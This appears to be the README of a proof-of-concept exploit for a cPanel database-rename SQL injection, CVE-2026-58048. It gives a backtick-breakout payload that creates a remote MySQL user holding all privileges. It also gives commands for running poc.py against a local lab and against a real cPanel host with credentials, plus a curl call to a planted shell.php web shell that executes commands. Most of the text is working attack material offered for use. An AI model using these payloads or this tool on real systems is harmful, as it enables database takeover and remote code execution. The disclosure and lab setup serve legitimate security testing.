CVE-2026-58048

CVSS 4.0: 9.4 (Critical) | CWE-89: SQL Injection | NVD

Authenticated cPanel user → arbitrary SQL as MySQL root via database rename. cPanel improperly preserves the user's session sql_mode (ANSI_QUOTES) when executing rename operations as root — a backtick in the database name breaks out of the identifier and injects SQL.

name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; -- 

Quick Start (Docker Lab)

pip install -r requirements.txt

python3 simulate.py start   # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop

Lab mode is auto-detected — no --lab flag needed.

Real cPanel Target

python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
    --payload admin-user --verify

Payload Presets

Custom SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"

curl "http://localhost:18081/shell.php?0=id"
